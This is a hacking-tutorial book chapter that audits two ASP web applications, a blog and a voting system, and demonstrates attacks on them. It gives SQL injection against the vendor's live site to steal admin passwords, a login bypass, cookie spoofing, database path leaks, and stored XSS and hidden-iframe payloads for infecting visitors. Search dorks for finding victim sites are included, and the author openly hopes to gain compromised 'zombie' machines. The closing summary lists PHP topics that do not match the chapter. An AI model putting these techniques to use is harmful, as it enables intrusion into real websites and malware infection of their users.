当前位置: 首页 > 文档资料 > 精通脚本黑客 >

第八章 ASP整站系统的安全性分析

优质
小牛编辑
121浏览
2023-12-01

在前面已经给大家介绍了 ASP 的各种基础知识,同时还详细的讲解了 ASP 程序各种常见的漏洞以及攻击方法,相信大家已经掌握了。最后就是要训练大家如何利用上面所学的知识来挖掘一套完整的 ASP 系统中的各种漏洞。

一套中等规模的整站系统代码量一般来说也有一万行以上,所以一拿到代码首先不要被它吓倒了,要静下心来慢慢研究,切忌浮躁。有了系统代码之后首先就是要了解整个系统的结构,比如系统的文件名设置、哪个是首页、哪个是后台登陆页面、后台数据库路径等等。接下来就是搭建这个系统的环境,当然如果你很懒的话也可以不搭建,直接用网上的网站做实验也行,不过有点风险就是。最后是要找这个系统的漏洞了,一般来说找漏洞分为三个步骤,一、黑箱测试;二、白箱测试;三、黑白结合。漏洞的发现可以分为黑箱测试和白箱测试,黑箱是在不知其程序源代码及开发流程下进行的程序测试,也称为黑盒测试;而白箱大多数是基于程序员开发或者知道其源代码已经开放过程下进行的程序测试,也成为白盒测试。黑白结合就是这两种方法结合起来。

搭建好了系统,就先进行黑箱测试,比如测试 URL、搜索等输入框中的参数是否过滤,这个时候如果发现漏洞是最好的了;接下来就是分析代码的安全性,特别要检查一些比如

SQL 代码中的参数是否过滤等问题,如果发现了漏洞那是最好的,如果没有发现那我们也继续进行第三步,因为很多情况下就算发现了代码的漏洞,也不一定可以利用,这跟很多情况有关,比如主机的配制及需要的一些条件等等,也有一些情况下就算没有发现漏洞依然可以入侵网站,比如白箱测试中我们已经知道了数据库的路径了,这个时候还可以测试一下网站是否存在默认数据库等漏洞,根据我的测试目前还有非常多的望站存在这样的漏洞,大家可以用挖掘鸡来玩玩。所以结合黑和白来共同利用、相互配合很多情况下会得到意想不到的结果。

前面已经教大家如何找代码漏洞了,比如寻找有参数交互的地方等等。所以代码虽多可真正的核心的代码确不多,我们只要抓住核心代码就抓住了整个系统。本章就是带领大家如何分析一个 ASP 系统中的漏洞,并加以利用,这样来增加大家的实战性,那么在以后分析代码漏洞的过程中就又更多的经验。

总之,分析系统代码首先要具备一些基础知识,这些大家已经有了;其次,就是在分析的过程中思路要清晰,不然就会在整个系统里打转而出不来,而本章最主要的目的就是训练大家一个清晰的思路,只有有了清晰的思路才能够把握整个系统。这些都是靠平时积累下来的,不是水平的问题而是经验的问题。大家有了这些经验之后就是要自己动手去实践,毕竟实践是检验真理的唯一标准。同时大家一定要学会文中的技巧,因为他们常常会让你在做事的时候事半功倍。下面就是我分析的几个完整的 ASP 系统漏洞的的例子,大家要从中学到一些技巧哦,特别是经验上的增加。

    1. SimpleBlog的漏洞分析及利用

      SimpleBlog(国外)是一个用 ASP 写的博客程序,目前主要有 2.0 和 2.3 两个版本。在国内目前几乎没有什么网站采用这套程序,但在国外却非常流行。我们可以在 google 中输入关键字:powered by SimpleBlog 搜索该系统,得到:93,600 项符合的查询结果(如图 8-1)。虽然该程序可用性非常强,但在安全性方面做的不够好,存在以下漏洞。

      image

      图 8-1 查找系统使用的网站.注入

      由于该程序没有对网站用户名和密码进行任何的加密,所以通过注入得到的密码是明文,2.0 和 2.3 两个版本同时存在注入漏洞的文件有两个。

      1. poll_reg.asp,代码为:

        <%

        straID = request.QueryString("answer") strpID = request.QueryString("pID")

        strSQL = "UPDATE T_RESULTS Set icount = icount + 1 WHERE aID_FK = " & straID

        '没有过滤参数,直接提交导致漏洞出现

        Set MyConn = Server.CreateObject("ADODB.Connection") MyConn.Open strConn

        MyConn.Execute(strSQL) MyConn.Close

      2. comments.asp,代码为:

      <%

      Sub InsertComment()

      bID = request.Form("id") strName = request.Form("name")

      ........ ' 省略代码

      response.Redirect("comments.asp?id="&bID) ' 直接 POST 提交,而没有过滤,所以漏洞出现。

      %>

      这里我们拿官方网站来注入,地址为:http://blog.8pixel.net/。它的版本为 2.3,我们就对

      comments.asp 进行注入,该文件的作用就是查看文章的评论及发表评论。单击网页上”comments”这个单词就可以进入这个文件了,如图 8-2 所示。

      image

      图 8-2 找到链接

      在这里就用工具来猜解,在注入之前要增加一些表段和字段,增加的表段为 T_USERS,增加的字段为 uUSERNAME 和uPASSWORD,设置好了以后我们就用啊 D 来扫,用不了多久官方网站的密码就得到了,如图 8-3 所示。

      image

      图 8-3 注入攻击得到管理员密码而 2.0 另外还存在一个注入漏洞的文件,是 rss.asp,代码为:

      response.write "<date>" & IntToDate(Rs("b_date")) & "</date>" & vbcrlf response.write "<time>" & Rs("b_time") & "</time>" & vbcrlf

      response.write "<link>"&strURL&"?view=pLink&amp;id="&Rs("id")&"</link>" & vbcrlf

      '没有过滤 id 的参数,导致漏洞出现 response.Write("<id>"&Rs("id")&"</id>") response.write "</item>" & vbcrlf rs.movenext

      该文件的作用是查看博客上的内容,点击图 8-2 中的” link to this entry”就可以进入查看该文件的内容了。和上面一样,先将字段和表段加入到工具上,然后随便打开一个文件,用啊D狂扫就可得到 2.0 管理员密码,如图 8-4 所示。

      image

      图 8-4 利用 2.0 版本的注入漏洞得到管理员密码

      虽然版本 2.3 并无此缺陷,但在其他两个地方却同样有漏洞。通过上面的代码可以看出这个漏洞十分明显,是比较经典的注入代码,很适合新手学注入。

      二.跨站

      1.前台跨站

      当我在看 comments.asp 文件注入漏洞时,发现这个文件还有一个功能就是用户可以发表评论,这样就很可能由于过滤不严格而出现跨站漏洞。代码如下:

      <%

      Sub InsertComment()

      bID = request.Form("id") strName = request.Form("name")

      strEmail = request.Form("email") strUrl = request.Form("url") strComment = request.Form("main")

      strComment = replace(strComment,"'","''") ' 过 滤 单 引 号 strComment = replace(strComment,vbCrLf,"<br>") ' 过 滤 vbCrLf str_userIP = request.Form("userIP")

      .............. ' 省略代码

      ' insert Comment */

      strSQL = " INSERT IN TO T_CO MMENTS(c_content, c _name, c_ email, c_url, c_bID_fk,ip) VALUES ('" & strComment & "','" & strName & "','" & strEmail & "','" & strUrl & "'," & bID & ",'"&str_userIP&"')" ‘ 将用户写的评论插入到数据库中

      Set MyConn = Server.CreateObject("ADODB.Connection") MyConn.Open strConn

      MyConn.Execute(strSQL)

      如上,虽然在评论的内容上进行单引号过滤,而对评论的 name em ail url 却没有进行任何过滤,长度也没有进行限制,直接插入到数据库中去,这就是程序的失误,而这段代码就是典型的跨站漏洞。往里面输入:<script>alert(“cmd”)</script> ,如图 8-5 所示,这个前台跨站只有 2.0 才存在,在 2.3 版本中程序员已经意识到这个问题了。

      image

      图 8-5 版本 2.0 中的跨站漏洞

      2.后台跨站

      在后台的跨站漏洞上两种版本都出现了问题,它们后台的跨站漏洞存在于编辑的文件上,这个漏洞主要有 bloglist_edit.asp 和 dostuff.asp 两个文件,bloglist_edit.asp 的代码为:

      <td><strong>Title:</strong></td>

      </tr>

      <tr>

      <td v align= "bottom"><input n ame= "header" t ype="text" id="header" st yle="width:90

      %; h eight:20px; font-family:Verdana, Arial, Helvetica, san s-serif; font -size:11px; " val ue="<

      %=rs("b_headline")%>">

      &nbsp; ‘这是编辑文章的题目

      <input name="imageField" type="image" src= "images/save.gif" border= "0"></td>

      </tr>

      <tr>

      < td><strong>Content:</strong></td>

      </tr>

      <tr>

      <td>

      <textarea nam e="main" id="main" style="width:98%; height:380px "><%=rs("b_content")%><

      /textarea> ‘ 这是编辑文章的内容

      </ td>

      dostuff.asp 的代码如下:

      strHeader= request .Form("header")

      strHeader = replac e(strHeader,"'","''") ‘ 编辑文章的主题

      strContent = request.Form("main")

      strContent = rep lace(strContent,"'","''") ‘ 编辑文章的内容

      …………………….省略代码

      strSQL = "INSER T IN TO T_ WEBLOG (b_headline, b_content, b_date,b_tim e,b_month,b_ye ar,b_author,b_published) va lues (' "&strHeader&"','"&strContent&"',"&strDate&",'"&strTime&"', "&intMonth&","&intYear&",'"&strAuthor&"',"&intPublished&")" ‘将用户编辑的主题和内容等插入到数据库中

      response.Write(strSQL)

      'response.End()

      由上可看出,就是过滤了单引号,和前台的代码差不多,在 2.3 版本中也存在这个漏洞。输入代码:<iframe fram eborder= 0w idth=300 h eight=300 s crolling=no src= http://www.baidu.co m></iframe>来看看效果,如图 8-6 所示,把宽度和高

      度改为零就可以来挂马了。

      image

      图 8-6 后台挂马.挖掘

      前面已经给大家介绍了挖掘鸡的使用了,在这里就可以利用其中的知识进行挖掘。关键字我们可以使用:powered by SimpleBlog。对于查找前台跨站,目录组为:SimpleBlog 或者 bolg;文件名为:comments.asp?id= (id 最好填小一点)。对于注入,目录组为:SimpleBlog或者 bolg;文件名为?view= plink&id= (i d 最好填小一点)。我们还可以利用管理员的懒惰进行默认数据库下载,目录组为:db 或 SimpleBlog/db 或者 bolg/db;文件名为:simpleBlog.mdb;如图 8-7 所示得到了很多数据库地址,下载一个来看看,如图 8-8 所示。利用挖掘鸡,效率大大增加了吧。

      image

      图 8-7 利用挖掘鸡寻找系统后台

      image

      图 8-8 下载默认数据库四.修补

      由于这个系统的两个版本都没有采用加密技术,直接注入得到的密码就是明文,因此对系统的危害比较大,但如果采用加密技术(如 MD5),而且管理员的密码设置的比较复杂,就大大的增强了系统的安全性。因为程序中的一些变量由于没有过滤或者只过滤了单引号,从而导致注入和跨站。过滤了单引号那我们在构造 SQL 语句的时候只要避开单引号,比如利用类似的代码来注入:and 1=(select id from admin where asc(mid(username,1,1))>10)。对于注入漏洞的防御仅仅过滤单引号几乎是毫无用处,一定要过滤 SQL 那九条语句中一些词语,才可以防止注入;对于跨站漏洞的修补主要有两点:一.限制用户提交数据的长度;二.过滤或者转换用户提交数据中的 HTML 代码。

      该系统采用 ACCESS 数据库,而且不提供任何的上传功能,那就更别提数据库备份了,所以没有得到 webshell,是有点遗憾,不过可以利用注入漏洞来得到管理员的密码进而利用跨站漏洞来进行挂马。使用该系统的网站全部为国外的,所以可以得到很多国外肉鸡哦。本文没什么实际的水平,很适合刚刚入门的朋友学习,最后各位朋友希望得到很多国外肉鸡。

    2. 心情网络投票系统的漏洞分析

      心情网络投票系统是国内目前使用最多的投票系统之一,而且很多投票系统的代码也借鉴了它的。随着目前个大网站管理员安全意识的加强,要想从主站找出漏洞一般比较难,而像投票系统之后的模块确很少注意,利用它们我们也可以攻破整个网站,所以下面就以心情网络投票系统为例子来简单分析一下国内大多数投票系统的安全性。

      一.Cookies 欺骗

      这个漏洞出现在 check.asp 和 welcome.asp 上,先来看看这两个文件的代码:

      1. welcome.asp

if rs.eof then

response.write "<script>alert('用户名不存在或者密码错误!');</script>" resp onse.write "<script>history.back(1);</script>"

else

resp onse.cookies("admin")= rs("admin") resp onse.cookies("qx")= rs("qx")

resp onse.write "<script>location.href='step1.asp';</script>" end if

rs.close

set rs=nothing conn.close

se t conn=nothing 2.check.asp

< %if request.cookies("admin")="" or request.cookies("qx")="" then response.write "<script>alert('你还未登陆,请登陆!');</script>" response.write "<script>location.href='index.asp';</script>" response.end

end if%>

在 welcome.asp 文件中当 admin 和 qx 验证正确的话,程序就进入 step1.asp 文件,我们在看 check..asp 文件,只要 admin 和 qx 不为空就不出现错误,这样我们可以修改自己电脑上的 Cookies,那么就可以进行 Cookies 欺骗了,从而进入后台了。我们来修改 Cookies,把 admin=admin 和 qx=qx。修改后代码如下:

[MyBrowser] Cookies=admin=admin;qx=qx;cck_lasttime=1153188298890;cck_count=0; ASPSESSIONIDQQDAQQRR=MKEDFCCCDDFKMFMJDJDGKNKI

Address=http://www.1ht0523.com/vote/index.asp InjectAddress=http://www.hackerdown.com/down.asp?id=39&no=1{v} InjectCode=

现在用桂林老兵来进行 Cookies 欺骗了,把 URL 地址的文件改为 step1.asp,这样顺利的登陆了后台,如图 8-9 所示。

image

图 8-9 利用 cookie 欺骗进入后台

这里可以采用 Session 来进行登陆验证,从而解决 Cookies 欺骗这个漏洞。

二.'or''='漏洞

这个漏洞出现在 welcome.asp 文件中,漏洞代码如下:

<!--#include file="conn.asp"-->

<!--#include file= "md5.asp"-->

<%se t rs= server.createobject("adodb.recordset")

sql="select * from admin where admin='"&request("admin")&"' and pwd='"&md5(trim(request("pwd")))&"'"

rs.o pen sql,conn,3,1

看到没有 admin 和 pwd 都是这样 request("admin")直接提交的,根本没有过虑参数。导致了经典漏洞的出现,我们在 admin 处输入:1'or 1=1 or '1'='1,密码不用输入。就可以绕过它的认证体系了,如图 8-10 和图 8-11 所示。

image

图 8-10 输入 1'or 1=1 or '1'='1

image

图 8-11 进入后台

这个漏洞主要是没有过滤单引号而引起的,通过 Replace()函数可以很好的解决的这个问题。

三.暴库漏洞

暴库这个漏洞是在无意中发现的,我们把 votedy.asp 文件前的"/"换成"%5c",提交后得到了数据库的绝对路径,如图 8-12 所示。

image

图 8-12 暴出网站数据库绝对路径

不过有些网站用的数据库的后缀名是 asa 或asp,还有的数据库文件中含有#号,我们可以把它改成%23 就可以突破这个限制了。补救方法也很简单: 1.在 conn.asp 文件中的数据库文件的位置后面加上"On Error Resume Next"这句话。

2.把 IIS 中的错误提示功能关闭。

四.注入漏洞

注入漏洞很多地方都存在,不过 votedy.asp 比较的明显,都没有过滤 id 的参数,而是直接提交,然后查询数据库。

代码如下:

<%

addr0=request.servervariables("server_name") addr1=request.servervariables("url") addr1=replace(addr1,"votedy.asp","") addr="http://"&addr0&addr1

set rs= server.createobject("adodb.recordset") ' 读 取 投 票 项 目

if isnull(request("id")) or request("id")="" then

set rs=conn.execute("select top 1 * from class order by id desc") vote="vote"

else

set rs=conn.execute("select * from class where id="&request("id")) vote="vote"&request("id")

end if

上面的参数是直接提交的,导致漏洞出现。用注入工具我们可以非常轻易的得到管理员的用户名及密码,如图 8-13 所示。

image

图 8-13 利用工具注入攻击

管理员可以自己用正则表达式来编写一些过滤参数的函数,也可以去下载一些通用防注入程序来堵上这个漏洞。

五.跨站漏洞

跨站这个漏洞是出现在 step1.asp 和 savevote.asp 文件上,step1.asp 的功能是用来编写投票的标题已经一些选项。savevote.asp 是功能实现的文件,但是它没有对投票标题进行过滤从而导致漏洞出现。savevote.asp 的漏洞代码如下:

if request("id")<>"del" then err=0

title=request("title") if title="" then err=1

error=error+"标题不能为空\n" end if

conn.execute("insert into class (title,style,ren,kg,overtime) values ('"&title&"','"&request("style")&"','"&request.cookies("admin")&"',"&kg&",'"&overtime&"')") set rs=server.createobject("adodb.recordset")

sql="select top 1 * from class where title='"&title&"' order by id desc"

rs.open sql,conn,3,1 classid=rs("id") rs.close

上面的 title 没有过滤,而且 title 没有对长度进行限制,其实限制的了的话也可以通过调用 js 文件来突破。我们可以往里面写如代码,比如写入:<script>alert("曾云好")</script>,看看效果,如图 8-14 所示。

image

图 8-14 跨站攻击

这里我们可以用来挂马,那么只要参加投票的人就都会都会中招了,我们写入挂马代码,为了可见我把高度和宽度都不设为零,代码为:<iframe fram eborder=0 w idth=300 h eight=300 scrolling=no src=http://www.baidu.com></iframe>。看看执行后的效果,如图 8-15 所示。

image

图 8-15 挂马

挂马的时候我们应该把高度和宽度都设置为零并且应该在挂马的代码的后面加入一些文字,这样管理员看到的只是代码后面的文字,而不知不觉已经中了木马了,这样就更加具有隐蔽性。对于挂马其实也很好防御,我们只要用正则表达式把这些字符过滤了那挂马就没戏了,需要过滤的字符有:< > /

六.总结

上面就是我简单的分析心情网络投票系统的漏洞,都是存在一些常见的漏洞。在 google里查找投票系统我花了很多时间,最后发现这些关键字可以非常准确的找出投票系统,如图 8-16 所示,291000 项记录也够多了。关键字有:

1.function touvote(){window.open 2.formvote.submit();}" 3.formvote.action= 4.document.write (vote)

image

图 8-16 使用投票系统的网站

目前稍微大一点网站都已经有了投票系统了,但是管理员往往忽略了它的安全性,很多网站的投票系统的后台居然还是原始密码,就更不用谈其他的安全性了。上面的这个投票系统就这样轻易的被我搞垮了,根本没有什么安全性,希望以后各位管理员要多关心网站的一些细小地方,这样才可以做多万无一失。

你从本章可以学到如下几点:

1、PHP 基础知识

2、PHP 中的文件及字符串操作

3、面向对象的 PHP

4、PHP 下与数据库的交互

5、PHP 高级技术